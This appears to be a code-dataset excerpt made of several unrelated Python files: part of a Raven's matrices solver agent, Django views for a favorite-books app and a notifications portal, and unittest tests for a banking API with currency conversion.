[]\r\n\r\n c = 97 #used to construct dict keys - chr()\r\n\r\n for name, shape3 in box.items():\r\n if name in mapping.keys():\r\n shape1 = mapping.get(name) #returns shape1 name\r\n trans = transformations.get(shape1) #returns transformation dict\r\n t = self.modifyAttributes(trans, shape3.attributes, name, deleted, box1, box2, box3)\r\n if t != \"deleted\":\r\n attributes.append(t)\r\n else:\r\n # new shapes in box3 that don't match up to any in\r\n # box 1\r\n \r\n attributes.append(shape3.attributes)\r\n\r\n #add any shapes that were created to box4/box4b\r\n if created:\r\n for shape in created:\r\n attributes.append(shape)\r\n\r\n for a in attributes:\r\n k = str(chr(c))\r\n c += 1\r\n if k not in keys:\r\n keys.append(k)\r\n else:\r\n while str(chr(c)) in keys:\r\n c += 1\r\n \r\n\r\n box4 = dict(zip(keys, attributes))\r\n return box4\r\n \r\n # used only when box1 and box3 are the same\r\n def box2AsAnswer(self, possibleAnswers, box):\r\n allScores = []\r\n\r\n for eachAnswer in possibleAnswers:\r\n answerScore = []\r\n shapes = []\r\n t = []\r\n\r\n #setup all attributes in figure in list for comparison\r\n for v in eachAnswer.objects:\r\n if isinstance(eachAnswer.objects.get(v).attributes.get('inside'), str):\r\n eachAnswer.objects.get(v).attributes['inside'] = len( eachAnswer.objects.get(v).attributes.get('inside').split(',') )\r\n shapes.append(eachAnswer.objects.get(v).attributes)\r\n for _, v in box.items():\r\n if isinstance(v.attributes.get('inside'), str):\r\n v.attributes['inside'] = len( v.attributes.get('inside').split(',') )\r\n t.append(v.attributes)\r\n box2 = t\r\n\r\n # if they have a different number of shapes, just continue\r\n # this one won't be the right answer\r\n if len(shapes) != len(box2):\r\n answerScore.append(0)\r\n continue\r\n\r\n # if the have the same number of shapes though:\r\n # populate missing attributes so we can compare\r\n for att in shapes:\r\n if 'angle' not in att:\r\n att['angle'] = 0\r\n if 'inside' not in att:\r\n att['inside'] = 0\r\n if 'above' not in att:\r\n att['above'] = 0\r\n if 'alignment' not in att:\r\n att['alignment'] = ''\r\n if 'overlaps' in att:\r\n att.pop('overlaps')\r\n\r\n for att in box2:\r\n if 'angle' not in att:\r\n att['angle'] = 0\r\n if 'inside' not in att:\r\n att['inside'] = 0\r\n if 'above' not in att:\r\n att['above'] = 0\r\n if 'alignment' not in att:\r\n att['alignment'] = ''\r\n if 'overlaps' in att:\r\n att.pop('overlaps')\r\n\r\n #compare the two lists\r\n # take the average number of similar attributes across\r\n # all shapes between the two boxes\r\n shapesimilarityall = []\r\n\r\n shapes.sort()\r\n box2.sort()\r\n \r\n\r\n for i in xrange(len(box2)):\r\n if isinstance(shapes[i].get('angle'), str):\r\n shapes[i]['angle'] = int(shapes[i]['angle'])\r\n shapesimilarity = self.compareDicts(\r\n shapes[i],\r\n box2[i]\r\n ) \r\n shapesimilarityall.append(shapesimilarity)\r\n\r\n similarity = sum(shapesimilarityall)\r\n answerScore.append(similarity)\r\n \r\n avgscore = sum(answerScore)\r\n allScores.append(avgscore)\r\n\r\n guess = allScores.index(max(allScores)) + 1\r\n \r\n if allScores.count(max(allScores)) > 1:\r\n return -1\r\n else:\r\n return guess\r\n\r\n def processAndGuess(self, possibleAnswers, box4, numdeleted, numcreated): \r\n if numdeleted == None:\r\n numdeleted = 0\r\n if numcreated == None:\r\n numcreated = 0\r\n allScores = []\r\n\r\n for eachAnswer in possibleAnswers:\r\n answerScore = []\r\n\r\n shapes = self.setupAnswers(eachAnswer)\r\n\r\n\r\n if len(shapes) != len(box4) and abs(len(shapes) - len(box4)) != (numcreated - numdeleted):\r\n allScores.append(0)\r\n continue\r\n \r\n\r\n # get matches (potentialanswer: box4)\r\n matches, _ = self.matchShapes(shapes, box4)\r\n\r\n\r\n\r\n # iterate over matches and compare attributes\r\n for potential, guess in matches.items():\r\n similarity = self.compareDicts(\r\n shapes[potential],\r\n box4[guess]\r\n )\r\n answerScore.append(similarity)\r\n avgscore = sum(answerScore)\r\n\r\n\r\n # if the number of shapes don't match up, don't even bother with that choice \r\n \r\n #get average scores of all shapes \r\n allScores.append(avgscore)\r\n\r\n guess = allScores.index(max(allScores)) + 1\r\n\r\n\r\n '''\r\n print \"multiple choice attributes for chosen answer are:\"\r\n for i in xrange(6):\r\n for k,v in possibleAnswers[i].objects.items():\r\n print v.attributes\r\n print '\\n'\r\n '''\r\n \r\n return guess, allScores\r\n\r\n # used to get answers and extract their shapes\r\n def getAnswers(self, possibleAnswers, box4, deleted13, mapping13, mapping12, box1, box3, box2):\r\n #prework\r\n numdeleted = len(deleted13)\r\n \r\n #process and guess\r\n guess, allScores = self.processAndGuess(possibleAnswers, box4, None, None)\r\n\r\n # IF THERE STILL ISN'T A CLEAR ANSWER, run vertical comparison: \r\n # 1 to 3 transformation, instead of just 1 to 2\r\n if allScores.count(max(allScores)) > 1:\r\n\r\n #store all potential answers if there is more than 1\r\n potentialAnswers = []\r\n\r\n '''\r\n print \"possible solutions that tied:\"\r\n m = max(allScores)\r\n for i in xrange(len(allScores)):\r\n if allScores[i] == m:\r\n print i + 1\r\n allScores1 = allScores \r\n print allScores1 \r\n '''\r\n\r\n #now run the algorithm again, but vertically instead of horizontally \r\n \r\n #reverse mapping13, because it's actually mapping31\r\n mapping13 = {v:k for k, v in mapping13.items()}\r\n\r\n #check for appending shapes\r\n # TODO currently NAIVE implementation: +3 deletions and +2 additions\r\n # will be the same as 1 deletion, which is incorrect, but might still work\r\n # for basic problems\r\n created13 = []\r\n box1_shapes = [v.attributes for k,v in box1.items()]\r\n box3_mapped = [v for k, v in mapping13.items()]\r\n\r\n for name, att in box3.items():\r\n if name not in box3_mapped:\r\n created13.append(att.attributes)\r\n numcreated = len(created13)\r\n\r\n #matches between 1 and 3 already setup: mapping13\r\n #get transform between 1 and 3:\r\n transform13 = self.getTransformations(box1, box3, mapping13, deleted13)\r\n\r\n\r\n #now, transform box2 into \"box4 - b\", which will get fused with the original box4 after\r\n mapping12 = {v:k for k, v in mapping12.items()}\r\n box4B = self.transformBox(box2, mapping12, transform13, deleted13, created13, box1, box2, box3)\r\n\r\n guess, allScores = self.processAndGuess(possibleAnswers, box4B, numdeleted, numcreated)\r\n\r\n if allScores.count(max(allScores)) == 1:\r\n return guess\r\n else:\r\n newScores = []\r\n for i in xrange(len(allScores)):\r\n newScores.append( allScores1[i] + allScores[i])\r\n guess = newScores.index(max(newScores)) + 1\r\n \r\n if newScores.count(max(allScores)) == 1:\r\n return guess\r\n else:\r\n return -1\r\n\r\n def setupAnswers(self, figure):\r\n a = dict()\r\n for k, v in figure.objects.items(): \r\n a[k] = v.attributes\r\n return a\r\n\r\n\r\n\r\n\r\n\r\n # The primary method for solving incoming Raven's Progressive Matrices.\r\n # For each problem, your Agent's Solve() method will be called. At the\r\n # conclusion of Solve(), your Agent should return an int representing its\r\n # answer to the question: 1, 2, 3, 4, 5, or 6. Strings of these ints \r\n # are also the Names of the individual RavensFigures, obtained through\r\n # RavensFigure.getName(). Return a negative number to skip a problem.\r\n #\r\n # Make sure to return your answer *as an integer* at the end of Solve().\r\n # Returning your answer as a string may cause your program to crash.\r\n def Solve(self,problem):\r\n #skip challenge problems for now\r\n if problem.name.split(' ')[0] == 'Challenge' or problem.problemType != '2x2':\r\n return -1\r\n\r\n if problem.problemType == \"2x2\":\r\n #get the existing 3 boxes (aka figures)\r\n box1 = problem.figures[\"A\"]\r\n box2 = problem.figures[\"B\"]\r\n box3 = problem.figures[\"C\"]\r\n\r\n #get the 6 possible answers for later\r\n A1 = problem.figures['1']\r\n A2 = problem.figures['2']\r\n A3 = problem.figures['3']\r\n A4 = problem.figures['4']\r\n A5 = problem.figures['5']\r\n A6 = problem.figures['6']\r\n possibleAnswers = [A1, A2, A3, A4, A5, A6]\r\n \r\n \r\n\r\n #get the objects from each box and store them in a set\r\n box1_shapes = box1.objects\r\n box2_shapes = box2.objects\r\n box3_shapes = box3.objects\r\n\r\n\r\n # match up corresponding shapes between transformations\r\n matches12, deleted12 = self.matchShapes(box1_shapes, box2_shapes)\r\n \r\n # used to check possible answers\r\n # for example, if numdeleted is none, then number of shapes in \r\n # both box3 and the prediction should be the same\r\n \r\n \r\n \r\n #get transformations\r\n transformations = self.getTransformations(box1_shapes, box2_shapes, matches12, deleted12)\r\n \r\n\r\n\r\n # Before we bother mapping shapes and transforming, check if boxes 1 and 3 are identical\r\n # If so, then 2 and 4 will be identical\r\n identical = self.preTransformCheck(box3_shapes, box1_shapes)\r\n\r\n if not identical:\r\n # get third box, and match up all the shapes to shapes in box 1\r\n # we can't start the transformation process without doing this first\r\n mapping13, deleted13 = self.matchShapes(box3_shapes, box1_shapes)\r\n \r\n # apply transformations to box3 to get box4\r\n # will need to pass more residual information when 'trying'\r\n # different rotations, shape possibilities, etc.\r\n box4 = self.transformBox( box3_shapes, mapping13, transformations, deleted12, None, box1_shapes, box2_shapes, box3_shapes)\r\n\r\n\r\n #check box 4 against all answers!\r\n guess = self.getAnswers(possibleAnswers, box4, deleted12, mapping13, matches12, box1_shapes, box3_shapes, box2_shapes)\r\n\r\n\r\n \r\n else: #1 and 3 identical, just get box 2\r\n guess = self.box2AsAnswer(possibleAnswers, box2_shapes) \r\n\r\n return guess","sub_path":"Agent.py","file_name":"Agent.py","file_ext":"py","file_size_in_byte":33672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"350212902","text":"from django.shortcuts import render, redirect\nfrom .models import *\nimport bcrypt\nfrom django.contrib import messages\n# Create your views here.\ndef index(request):\n return render(request, 'index.html')\n\ndef logout(request):\n request.session.flush()\n return redirect('/')\n\ndef register(request):\n errors = User.objects.register_validator(request.POST)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect('/')\n else:\n password = request.POST['password']\n pw_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt()).decode()\n user = User.objects.create(first_name=request.POST['first-name'], last_name=request.POST['last-name'], email=request.POST['email'], password=pw_hash)\n user.save()\n request.session['uuid'] = user.id\n return redirect('/books/')\n\ndef login(request):\n errors = User.objects.login_validator(request.POST)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect('/')\n else:\n user = User.objects.filter(email=request.POST['email'])\n logged_user = user[0]\n request.session['uuid'] = logged_user.id\n return redirect('/books/')\n\ndef books(request):\n if 'uuid' not in request.session:\n return redirect('/')\n context = {\n \"logged_user\": User.objects.get(id=request.session['uuid']),\n \"books\": Book.objects.all(),\n }\n return render(request, 'books.html', context)\n\ndef add_book(request):\n errors = Book.objects.book_validator(request.POST)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect('/books/')\n else:\n book = Book.objects.create(\n title=request.POST['title'], description=request.POST['desc'], uploaded_by=User.objects.get(id=request.session['uuid']))\n book.liked_by.add(User.objects.get(id=request.session['uuid']))\n return redirect('/books/')\n\ndef add_to_favorite(request, book_id):\n Book.objects.get(id=book_id).liked_by.add(User.objects.get(id=request.session['uuid']))\n return redirect('/books/')\n\ndef book_info(request, book_id):\n if 'uuid' not in request.session:\n return redirect('/')\n context = {\n \"logged_user\": User.objects.get(id=request.session['uuid']),\n \"book\": Book.objects.get(id=book_id)\n }\n return render(request, 'fav_books.html', context)\n\ndef update_book(request, book_id):\n errors = Book.objects.book_validator(request.POST)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect(f'/books/{book_id}')\n else:\n Book.objects.filter(id=book_id).update(title=request.POST['title'], description=request.POST['desc'])\n return redirect('/books')\n\ndef remove_from_favorite(request, book_id):\n Book.objects.get(id=book_id).liked_by.remove(User.objects.get(id=request.session['uuid']))\n return redirect('/books')\n\ndef delete_book(request, book_id):\n print('ENTERED DELETE')\n Book.objects.get(id=book_id).delete()\n print('IS IT STILL HERE??? --->')\n return redirect('/books')\n\ndef homepage(request):\n if 'uuid' not in request.session:\n return redirect('/')\n context = {\n \"logged_user\": User.objects.get(id=request.session['uuid'])\n }\n return render(request, 'home.html', context)","sub_path":"FavoriteBooks/app_favbook/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"334262325","text":"# Create your views here.\n# coding=utf-8\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.http import HttpResponseRedirect\nfrom django.template.response import TemplateResponse\nfrom portal.models import AfUserNotify, AfNotify_Tipo_instancia,AfTipoNotify, AfIncidencia, AfInstancia, AfLineaCatalogo, AfPerfil\nfrom django.db import IntegrityError\nfrom portal.Utils.decorators import *\nfrom portal.Utils.aux_meth import *\nfrom django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import JsonResponse\n\ndef viewNotifyInfo(notificaciones):\n \n\n dict_rel_tipo_instancia= { \"ITC\": \"incidencia\", \"ITM\" : \"incidencia\", \n \"DM\" : \"despliegue\", \"DC\" : \"despliegue\",\n \"IC\" : \"integrante\" , \"IM\" : \"integrante\",\n \"CC\" : \"catalogo\", \"CM\": \"catalogo\"\n }\n \n dict_rel_tipo_template= { \"ITC\": \"detalles_incidencia.html\", \"ITM\" : \"detalles_incidencia.html\", \n \"DM\" : \"despliegue\", \"DC\" : \"despliegue\",\n \"IC\" : \"integrante\" , \"IM\" : \"integrante\",\n \"CC\" : \"catalogo\", \"CM\": \"catalogo\"\n }\n \n lst_notificaciones=[]\n \n for n in notificaciones:\n tipo_rel_inst=AfNotify_Tipo_instancia.objects.get(notify=n)\n tipo_desc= tipo_rel_inst.tipo.desc\n instancia_asociada= dict_rel_tipo_instancia[ tipo_rel_inst.tipo.short_desc]\n instancia= getattr(tipo_rel_inst, instancia_asociada)\n template= dict_rel_tipo_template[ tipo_rel_inst.tipo.short_desc]\n instancia_asociada_nfo ={'instancia': instancia, 'tipo_desc': tipo_desc, 'template': template}\n lst_notificaciones.append(instancia_asociada_nfo)\n \n return lst_notificaciones\n\n\n\ndef getNotifyDescription(notificaciones):\n \n dict_rel_tipo_instancia= { \"ITC\": \"incidencia\", \"ITM\" : \"incidencia\", \n \"DM\" : \"despliegue\", \"DC\" : \"despliegue\",\n \"IC\" : \"integrante\" , \"IM\" : \"integrante\",\n \"CC\" : \"catalogo\", \"CM\": \"catalogo\"\n }\n \n lst_notificaciones=[]\n \n for n in notificaciones:\n try:\n tipo_rel_inst = AfNotify_Tipo_instancia.objects.filter(notify__owner=n.owner)\n for tri in tipo_rel_inst:\n tipo_desc = tri.tipo.desc\n instancia_asociada= dict_rel_tipo_instancia[ tri.tipo.short_desc]\n instancia= getattr(tri, instancia_asociada)\n \n notify_nfo ={'notificacion': n, 'tipo_desc': tipo_desc, 'instancia_asociada': instancia_asociada, 'instancia_rel_id': instancia.id}\n lst_notificaciones.append(notify_nfo)\n \n except Exception as e:\n \n pass\n \n return lst_notificaciones\n\n\n@login_required\ndef notificacionesIndex(request, template_name='notificacionesIndex.html', extra_context=None):\n try:\n # para las busquedas\n #name = request.GET.get('p') if request.GET.get('p') else ''\n af_user= AfUsuario.objects.get(user=request.user)\n notificaciones= AfUserNotify.objects.filter(to_user=af_user)\n lst_notify_info=getNotifyDescription(notificaciones)\n e=''\n\n except ObjectDoesNotExist as dne:\n \n messages.error(request, \"No existen notificaciones para el usuario solicitado\")\n return TemplateResponse(request, template_name, None)\n\n except Exception as e:\n pass\n\n\n hasNotificationPending(request)\n paginator = Paginator(lst_notify_info, 10)\n try:\n number = int(request.GET.get('page', '1'))\n except PageNotAnInteger:\n number = paginator.page(1)\n except EmptyPage:\n number = paginator.page(paginator.num_pages)\n c = paginator.page(number)\n context = {'p': c, 'e': e, 'visualized_card': True}\n\n \n return TemplateResponse(request, template_name, context)\n\n\ndef getNotifyDetails(request, id, template_name='consultar_notificacion.html'):\n\n try:\n \n notify_instance = AfUserNotify.objects.get(id=id)\n notify_instance.readed=True\n notify_instance.save()\n \n lst_notify_instance= [notify_instance]\n response=TemplateResponse(request, template_name, {'consultar_notificaciones': lst_notify_instance }).rendered_content\n data={'action': 'consultar_notificaciones', 'html':response, 'available_info': len(lst_notify_instance)}\n \n notificaciones_no_leidas= AfUserNotify.objects.filter(readed=False)\n request.session['notificaciones_no_leidas'] = True if notificaciones_no_leidas.count() else False\n \n except ObjectDoesNotExist as dne:\n \n messages.error(request, \"La notificación sobre la que se solicita información no existe\")\n return HttpResponseRedirect('/consultarNotificaciones')\n\n except Exception as e:\n pass\n\n return JsonResponse({'data':data})\n\n\ndef eliminarNotificacion(request, id):\n \n try:\n \n notificacion= AfUserNotify.objects.filter(id=id)\n notificacion.delete()\n \n except ObjectDoesNotExist as dne:\n\n messages.error(request, \"La notificación que solicita eliminar no existe\")\n return HttpResponseRedirect('/consultarNotificaciones')\n\n except Exception as e:\n pass\n \n messages.success(request, 'Notificación eliminada con éxito', extra_tags='Eliminación de notificaciones')\n return HttpResponseRedirect('/consultarNotificaciones')\n","sub_path":"portal/Notificaciones/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"478317914","text":"#!/usr/bin/env python\nimport json\nimport unittest\n\nimport requests\n\nimport settings\nfrom errors import AccountCurrencyError, AccountIdError, \\\n TransactionUnsufficientFunds, TransactionNegativeAmount\nfrom managers import AccountManager, TransactionManager\nfrom rate import RESTAPIFixerIORateService\n\n\nclass RateProviderTest(unittest.TestCase):\n def setUp(self):\n self.rate_api = RESTAPIFixerIORateService()\n\n def test_api(self):\n rate = self.rate_api.get_rate(currency_from='USD',\n currency_to='EUR')\n self.assertGreater(rate, 0)\n\n def test_api_weak_to_strong(self):\n rate = self.rate_api.get_rate(currency_from='GBP',\n currency_to='RUB')\n self.assertGreater(rate, 1)\n\n def test_strong_to_weak(self):\n rate = self.rate_api.get_rate(currency_from='RUB',\n currency_to='GBP')\n self.assertLess(rate, 1)\n\n def test_symbol_non_exist(self):\n with self.assertRaises(AttributeError):\n rate = self.rate_api.get_rate(currency_from='USD',\n currency_to='ZZZ')\n\n def test_base_non_exist(self):\n with self.assertRaises(ValueError):\n rate = self.rate_api.get_rate(currency_from='ZZZ',\n currency_to='USD')\n\n\nclass AccountManagerTest(unittest.TestCase):\n def setUp(self):\n self.am = AccountManager()\n self.non_exist_id = settings.accounts_starting_point - 1\n\n def test_add_account_count(self):\n l1 = len(self.am.get_all())\n\n self.am.create('USD')\n l2 = len(self.am.get_all())\n\n self.assertEqual(l1 + 1, l2)\n\n def test_add_account_id_incremental(self):\n a1 = self.am.create('USD')\n a2 = self.am.create('EUR')\n a3 = self.am.create('CHF')\n\n self.assertTrue(a1.id < a2.id < a3.id)\n\n def test_add_account_available(self):\n # epdb.serve(port=4501)\n a1 = self.am.create('USD')\n a2 = self.am.get_by_id(a1.id)\n\n self.assertEqual(a1, a2)\n\n def test_add_account_wrong_currency(self):\n with self.assertRaises(AccountCurrencyError):\n a1 = self.am.create('RUB')\n\n def test_account_not_found(self):\n with self.assertRaises(AccountIdError):\n self.am.get_by_id(self.non_exist_id)\n\n\nclass TransactionManagerTest(unittest.TestCase):\n def setUp(self):\n self.tm = TransactionManager()\n self.a1 = AccountManager().create('USD')\n self.tm.perform_transaction(\n destination=self.a1.id, amount=100)\n\n self.a2 = AccountManager().create('USD')\n self.tm.perform_transaction(\n destination=self.a2.id, amount=100)\n\n self.a3 = AccountManager().create('GBP')\n self.tm.perform_transaction(\n destination=self.a3.id, amount=100)\n\n self.non_exist_id = settings.transactions_starting_point - 1\n\n def test_amount_zero(self):\n with self.assertRaises(TransactionNegativeAmount):\n self.tm.perform_transaction(source=self.a1.id, amount=0)\n\n def test_amount_negative(self):\n with self.assertRaises(TransactionNegativeAmount):\n self.tm.perform_transaction(source=self.a1.id, amount=-10)\n\n def test_deposit_fail_non_exist_account(self):\n with self.assertRaises(AccountIdError):\n self.tm.perform_transaction(\n destination=self.non_exist_id, amount=100)\n\n def test_withdrawal_fail_non_exist_account(self):\n with self.assertRaises(AccountIdError):\n self.tm.perform_transaction(\n source=self.non_exist_id, amount=100)\n\n def test_internal_transfer_fail_non_exist_account(self):\n with self.assertRaises(AccountIdError):\n self.tm.perform_transaction(source=self.non_exist_id,\n destination=self.a1.id,\n amount=100)\n\n def test_deposit_succesful(self):\n transaction = self.tm.perform_transaction(\n destination=self.a1.id, amount=10)\n\n a1 = AccountManager().get_by_id(id=self.a1.id)\n\n self.assertEqual(a1.balance, 110)\n self.assertTrue(transaction.status)\n\n self.assertIn(transaction.id, a1.transactions)\n\n def test_withdrawal_succesful(self):\n self.tm.perform_transaction(source=self.a1.id, amount=10)\n transaction = self.tm.perform_transaction(source=self.a1.id,\n amount=20)\n a1 = AccountManager().get_by_id(id=self.a1.id)\n\n self.assertEqual(a1.balance, 70)\n self.assertTrue(transaction.status)\n\n self.assertIn(transaction.id, a1.transactions)\n\n def test_withdrawal_fail(self):\n with self.assertRaises(TransactionUnsufficientFunds):\n self.tm.perform_transaction(source=self.a1.id, amount=110)\n\n def test_internal_transfer_success_same_currency(self):\n transaction = self.tm.perform_transaction(\n source=self.a1.id, destination=self.a2.id, amount=20)\n\n a1 = AccountManager().get_by_id(self.a1.id)\n a2 = AccountManager().get_by_id(self.a2.id)\n\n self.assertEqual(a1.balance, 80)\n self.assertEqual(a2.balance, 120)\n self.assertTrue(transaction.status)\n\n self.assertIn(transaction.id, a1.transactions)\n self.assertIn(transaction.id, a2.transactions)\n\n def test_internal_transfer_success_different_currencies(self):\n transaction = self.tm.perform_transaction(\n source=self.a1.id, destination=self.a3.id, amount=20)\n\n conversion_rate = RESTAPIFixerIORateService().get_rate(\n currency_from=self.a1.currency,\n currency_to=self.a3.currency)\n expected_balance = 100 + (20 * conversion_rate)\n\n a1 = AccountManager().get_by_id(self.a1.id)\n a3 = AccountManager().get_by_id(self.a3.id)\n\n self.assertEqual(a1.balance, 80)\n self.assertEqual(a3.balance, expected_balance)\n self.assertTrue(transaction.status)\n\n self.assertIn(transaction.id, a1.transactions)\n self.assertIn(transaction.id, a3.transactions)\n\n\nclass BankAPITest(unittest.TestCase):\n def setUp(self):\n self.host = 'http://127.0.0.1:8080'\n self.endpoint_a = '/accounts'\n self.endpoint_t = '/transactions'\n self.headers = {'Authorization': settings.shared_key}\n\n self.non_exist_id = settings.transactions_starting_point - 1\n\n def api_get(self, endpoint='', params=None):\n uri = '{0}{1}'.format(self.host, endpoint)\n r = requests.get(uri, headers=self.headers, data=params)\n return r.status_code, json.loads(r.text)\n\n def api_post(self, endpoint='', params=None):\n uri = '{0}{1}'.format(self.host, endpoint)\n r = requests.post(uri, headers=self.headers, data=params)\n return r.status_code, json.loads(r.text)\n\n def api_create_account(self, currency='USD'):\n post_data = {'currency': currency}\n code, response = self.api_post(self.endpoint_a, post_data)\n account = response.get('data', {}).get('accountNumber')\n return account\n\n def test_not_authorized_fail(self):\n uri = '{0}{1}'.format(self.host, self.endpoint_a)\n r = requests.get(uri)\n self.assertEqual(r.status_code, 401)\n\n def test_api_available(self):\n code, response = self.api_get(self.endpoint_a)\n self.assertEqual(code, 200)\n\n def test_accounts_count(self):\n code1, response1 = self.api_get(self.endpoint_a)\n n1 = len(response1.get('data', {}).get('accountsNumbers', []))\n\n self.api_create_account()\n\n code2, response2 = self.api_get(self.endpoint_a)\n n2 = len(response2.get('data', {}).get('accountsNumbers', []))\n\n self.assertEqual(n1 + 1, n2)\n\n def test_add_account_id_incremental(self):\n a1 = self.api_create_account()\n a2 = self.api_create_account()\n a3 = self.api_create_account()\n\n self.assertTrue(a1 < a2 < a3)\n\n def test_add_account_available(self):\n a1 = self.api_create_account()\n\n code2, response2 = self.api_get(self.endpoint_a)\n a_list = response2.get('data', {}).get('accountsNumbers', [])\n\n self.assertIn(a1, a_list)\n\n def test_add_account_wrong_currency(self):\n post_data = {'currency': 'ZZZ'}\n code, response = self.api_post(self.endpoint_a, post_data)\n msg = response.get('message')\n\n self.assertEqual(code, 404)\n self.assertEqual(msg, AccountCurrencyError.message)\n\n def test_transaction_negative_amount(self):\n a1 = self.api_create_account()\n\n post_data = {'destAccount': a1, 'amount': -1}\n code2, response2 = self.api_post(self.endpoint_t, post_data)\n msg = response2.get('message')\n\n self.assertEqual(code2, 406)\n self.assertEqual(msg, TransactionNegativeAmount.message)\n\n def test_transaction_zero_amount(self):\n a1 = self.api_create_account()\n\n post_data = {'destAccount': a1, 'amount': 0}\n code2, response2 = self.api_post(self.endpoint_t, post_data)\n msg = response2.get('message')\n\n self.assertEqual(code2, 406)\n self.assertEqual(msg, TransactionNegativeAmount.message)\n\n def test_transaction_deposit_fail_non_exist_account(self):\n post_data = {'destAccount': self.non_exist_id, 'amount': 10}\n code2, response2 = self.api_post(self.endpoint_t, post_data)\n msg = response2.get('message')\n\n self.assertEqual(code2, 404)\n self.assertEqual(msg, AccountIdError.message)\n\n def test_transaction_withdrawal_fail_non_exist_account(self):\n post_data = {'sourceAccount': self.non_exist_id, 'amount': 10}\n code2, response2 = self.api_post(self.endpoint_t, post_data)\n msg = response2.get('message')\n\n self.assertEqual(code2, 404)\n self.assertEqual(msg, AccountIdError.message)\n\n def test_deposit_succesful(self):\n a1 = self.api_create_account()\n\n # deposit #1\n post_data = {'destAccount': a1, 'amount': 10}\n code1, response1 = self.api_post(self.endpoint_t, post_data)\n t1 = response1.get('data').get('transactionId')\n\n # deposit #2\n post_data = {'destAccount': a1, 'amount': 20}\n code2, response2 = self.api_post(self.endpoint_t, post_data)\n t2 = response2.get('data').get('transactionId')\n\n endpoint = '{}/{}'.format(self.endpoint_a, a1)\n code3, response3 = self.api_get(endpoint)\n a1_details = response3.get('data').get('account')\n\n self.assertEqual(code1, 200)\n self.assertEqual(code2, 200)\n\n self.assertEqual(30, a1_details.get('balance'))\n\n self.assertIn(t1, a1_details.get('transactions'))\n self.assertIn(t2, a1_details.get('transactions'))\n\n def test_withdrawal_succesful(self):\n pass\n\n def test_withdrawal_fail(self):\n a1 = self.api_create_account()\n\n # withdraw attempt from empty account\n post_data = {'sourceAccount': a1, 'amount': 10}\n code1, response1 = self.api_post(self.endpoint_t, post_data)\n\n msg = response1.get('message')\n\n self.assertEqual(code1, 402)\n self.assertEqual(msg, TransactionUnsufficientFunds.message)\n\n # transaction should be recorded anyway\n endpoint = '{}/{}'.format(self.endpoint_a, a1)\n code2, response2 = self.api_get(endpoint)\n a1_details = response2.get('data').get('account')\n\n # account wasn't charged\n self.assertEqual(a1_details.get('balance'), 0)\n\n # we suppose that last transaction has max ID, it is the\n # only one transaction for this account anyway\n last_transaction = max(a1_details.get('transactions'))\n\n # requesting last transaction details\n endpoint = '{}/{}'.format(self.endpoint_t, last_transaction)\n code3, response3 = self.api_get(endpoint)\n t1_details = response3.get('data').get('transaction')\n\n self.assertEqual(t1_details.get('status'), False)\n\n def test_internal_transfer_success_same_currency(self):\n a1 = self.api_create_account()\n a2 = self.api_create_account()\n\n post_data_1 = {'destAccount': a1, 'amount': 100}\n self.api_post(self.endpoint_t, post_data_1)\n\n post_data_2 = {'destAccount': a2, 'amount': 100}\n self.api_post(self.endpoint_t, post_data_2)\n\n post_data = {'sourceAccount': a1, 'destAccount': a2,\n 'amount': 20}\n code, response = self.api_post(self.endpoint_t, post_data)\n t_id = response.get('data').get('transactionId')\n\n self.assertEqual(code, 200)\n\n # checking transaction status\n endpoint = '{}/{}'.format(self.endpoint_t, t_id)\n t_code, t_response = self.api_get(endpoint)\n t_details = t_response.get('data').get('transaction')\n\n self.assertTrue(t_details.get('status'))\n\n # checking involved accounts\n endpoint = '{}/{}'.format(self.endpoint_a, a1)\n code1, response1 = self.api_get(endpoint)\n a1_details = response1.get('data').get('account')\n\n endpoint = '{}/{}'.format(self.endpoint_a, a2)\n code2, response2 = self.api_get(endpoint)\n a2_details = response2.get('data').get('account')\n\n self.assertIn(t_id, a1_details.get('transactions'))\n self.assertIn(t_id, a2_details.get('transactions'))\n\n self.assertEqual(a1_details.get('balance'), 80)\n self.assertEqual(a2_details.get('balance'), 120)\n\n def test_internal_transfer_success_different_currencies(self):\n a1 = self.api_create_account('USD')\n a2 = self.api_create_account('CHF')\n\n post_data_1 = {'destAccount': a1, 'amount': 100}\n self.api_post(self.endpoint_t, post_data_1)\n\n post_data_2 = {'destAccount': a2, 'amount': 100}\n self.api_post(self.endpoint_t, post_data_2)\n\n post_data = {'sourceAccount': a1, 'destAccount': a2,\n 'amount': 20}\n code, response = self.api_post(self.endpoint_t, post_data)\n t_id = response.get('data').get('transactionId')\n\n self.assertEqual(code, 200)\n\n # checking transaction status\n endpoint = '{}/{}'.format(self.endpoint_t, t_id)\n t_code, t_response = self.api_get(endpoint)\n t_details = t_response.get('data').get('transaction')\n\n self.assertTrue(t_details.get('status'))\n\n # checking involved accounts\n endpoint = '{}/{}'.format(self.endpoint_a, a1)\n code1, response1 = self.api_get(endpoint)\n a1_details = response1.get('data').get('account')\n\n endpoint = '{}/{}'.format(self.endpoint_a, a2)\n code2, response2 = self.api_get(endpoint)\n a2_details = response2.get('data').get('account')\n\n conversion_rate = RESTAPIFixerIORateService().get_rate(\n currency_from=a1_details.get('currency'),\n currency_to=a2_details.get('currency'))\n expected_balance = round(100 + (20 * conversion_rate), 2)\n\n self.assertIn(t_id, a1_details.get('transactions'))\n self.assertIn(t_id, a2_details.get('transactions'))\n\n self.assertEqual(a1_details.get('balance'), 80)\n self.assertEqual(a2_details.get('balance'), expected_balance)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":15371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} 